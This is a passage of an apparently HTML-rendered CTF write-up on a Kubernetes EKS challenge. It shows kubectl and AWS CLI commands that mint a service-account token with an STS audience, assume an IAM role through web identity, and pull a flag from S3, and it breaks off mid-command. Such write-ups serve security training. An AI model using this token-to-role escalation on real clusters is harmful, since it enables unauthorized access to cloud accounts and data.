style=\"color:#ADBAC7\"\u003e)\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e kubectl\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e --token\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e $TOKEN \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003eauth\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e can-i\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e --list\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003ewarning:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e the\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e list\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e may\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e be\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e incomplete:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e webhook\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e authorizer\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e does\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e not\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e support\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e user\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e rule\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e resolution\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eResources\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Non-Resource\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e URLs\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Resource\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Names\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Verbs\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eselfsubjectaccessreviews.authorization.k8s.io\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [] [] [create]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eselfsubjectrulesreviews.authorization.k8s.io\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [] [] [create]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [/.well-known/openid-configuration] [] [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [/api/\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e*\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e] [] [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [/api] [] [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [/apis/\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e*\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e] [] [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [/apis] [] [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [/healthz] [] [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [/healthz] [] [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [/livez] [] [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [/livez] [] [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [/openapi/\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e*\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e] [] [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [/openapi] [] [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [/openid/v1/jwks] [] [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [/readyz] [] [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [/readyz] [] [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [/version/] [] [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [/version/] [] [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [/version] [] [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [/version] [] [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003epodsecuritypolicies.policy\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [] [eks.privileged] [use]\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eLooks like we have less access than before. So not too helpful, let us take a\nlook at that service account we want to become:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e kubectl\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e get\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e sa\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e s3access-sa\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -o\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e json\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e{\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"apiVersion\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"v1\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"kind\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"ServiceAccount\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"metadata\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"annotations\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"eks.amazonaws.com/role-arn\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"arn:aws:iam::688655246681:role/challengeEksS3Role\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e },\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"creationTimestamp\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"2023-10-31T20:07:34Z\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"name\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"s3access-sa\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"namespace\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"challenge5\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"resourceVersion\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"671916\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"uid\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"86e44c49-b05a-4ebe-800b-45183a6ebbda\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e }\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e}\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eI think we are going to need to use our AWS access to assume that role, I do not\nbelieve our kubernetes access is going to get us anywhere:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e aws\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e sts\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e assume-role\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e --role-arn\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e arn:aws:iam::688655246681:role/challengeEksS3Role\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e --role-session-name\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e test\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eAn\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e error\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e occurred\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e (AccessDenied) when calling the AssumeRole operation: User: arn:aws:sts::688655246681:assumed-role/eks-challenge-cluster-nodegroup-NodeInstanceRole/i-0cb922c6673973282 is not authorized to perform: sts:AssumeRole on resource: arn:aws:iam::688655246681:role/challengeEksS3Role\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eOk, so \u003cem\u003emaybe\u003c/em\u003e our kubernetes access is important since we cannot assume the role\ndirectly. Let us try to use that $TOKEN from \u003ccode\u003edebug-sa\u003c/code\u003e to assume the role:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e aws\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e sts\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e assume-role-with-web-identity\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e --role-arn\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e arn:aws:iam::688655246681:role/challengeEksS3Role\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e --role-session-name\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e test\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e --web-identity-token\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e $TOKEN\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eAn\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e error\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e occurred\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e (InvalidIdentityToken) when calling the AssumeRoleWithWebIdentity operation: Incorrect token audience\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eGetting closer! The default audience for a token created with \u003ccode\u003ekubectl\u003c/code\u003e is\n\u003ccode\u003ehttps://kubernetes.default.svc\u003c/code\u003e which amazon does not seem to like. Let us try\ncreating it again with \u003ccode\u003ests.amazonaws.com\u003c/code\u003e:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e export\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e TOKEN=\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e$(\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003ekubectl\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e create\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e token\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e debug-sa\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e --audience\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e sts.amazonaws.com\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e)\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e aws\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e sts\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e assume-role-with-web-identity\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e --role-arn\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e arn:aws:iam::688655246681:role/challengeEksS3Role\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e --role-session-name\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e test\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e --web-identity-token\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e $TOKEN\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e{\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"Credentials\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"AccessKeyId\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"ASIA2AVYNEV\u0026#x3C;*REDACTED*\u003e\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"SecretAccessKey\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"VTZ4TuDrtHGca\u0026#x3C;*REDACTED*\u003e\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"SessionToken\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"IQoJb3JpZ2luX2VjEAQaCXVzLXd+7ONV2wIgESXuf\u0026#x3C;*REDACTED*\u003e\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"Expiration\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"2023-11-03T05:09:07+00:00\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e },\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"SubjectFromWebIdentityToken\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"system:serviceaccount:challenge5:debug-sa\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"AssumedRoleUser\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"AssumedRoleId\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"AROA2AVYNEVMZEZ2AFVYI:test\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"Arn\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"arn:aws:sts::688655246681:assumed-role/challengeEksS3Role/test\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e },\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"Provider\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"arn:aws:iam::688655246681:oidc-provider/oidc.eks.us-west-1.amazonaws.com/id/C062C207C8F50DE4EC24A372FF60E589\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"Audience\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"sts.amazonaws.com\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e}\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eSuccess! We have some new AWS credentials. Let us setup our new AWS Session:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e export\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e AWS_ACCESS_KEY_ID=\"ASIA2AVYNEV\u0026#x3C;*REDACTED*\u003e\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e export\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e AWS_SECRET_ACCESS_KEY=\"VTZ4TuDrtHGca\u0026#x3C;*REDACTED*\u003e\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e export\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e AWS_SESSION_TOKEN=\"IQoJb3JpZ2luX2VjEAQaCXVzLXd+7ONV2wIgESXuf\u0026#x3C;*REDACTED*\u003e\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e aws\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e sts\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e get-caller-identity\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e{\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"UserId\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"AROA2AVYNEVMZEZ2AFVYI:test\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"Account\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"688655246681\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"Arn\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"arn:aws:sts::688655246681:assumed-role/challengeEksS3Role/test\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e}\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eWe are now the new role! We hopefully have access to S3 now. At the start\nof the challenge it provided us a clue to what bucket we want to view by\nproviding us the IAM policy:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"json\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"json\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e{\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e \"Policy\"\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e \"Statement\"\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: [\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e \"Action\"\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: [\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"s3:GetObject\"\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e,\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"s3:ListBucket\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e ],\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e \"Effect\"\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e\"Allow\"\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e,\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e \"Resource\"\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: [\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"arn:aws:s3:::challenge-flag-bucket-3ff1ae2\"\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e,\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"arn:aws:s3:::challenge-flag-bucket-3ff1ae2/flag\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e ]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e }\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e ],\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e \"Version\"\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e\"2012-10-17\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e }\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e}\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eSo we want to fetch \u003ccode\u003earn:aws:s3:::challenge-flag-bucket-3ff1ae2/flag\u003c/code\u003e:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e aws\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e s3\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e cp\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e s3://challenge-flag-bucket-3ff1ae2/flag\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e .\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003edownload:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e s3://challenge-flag-bucket-3ff1ae2/flag\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e to\u003c/span\u003e\u003cspan 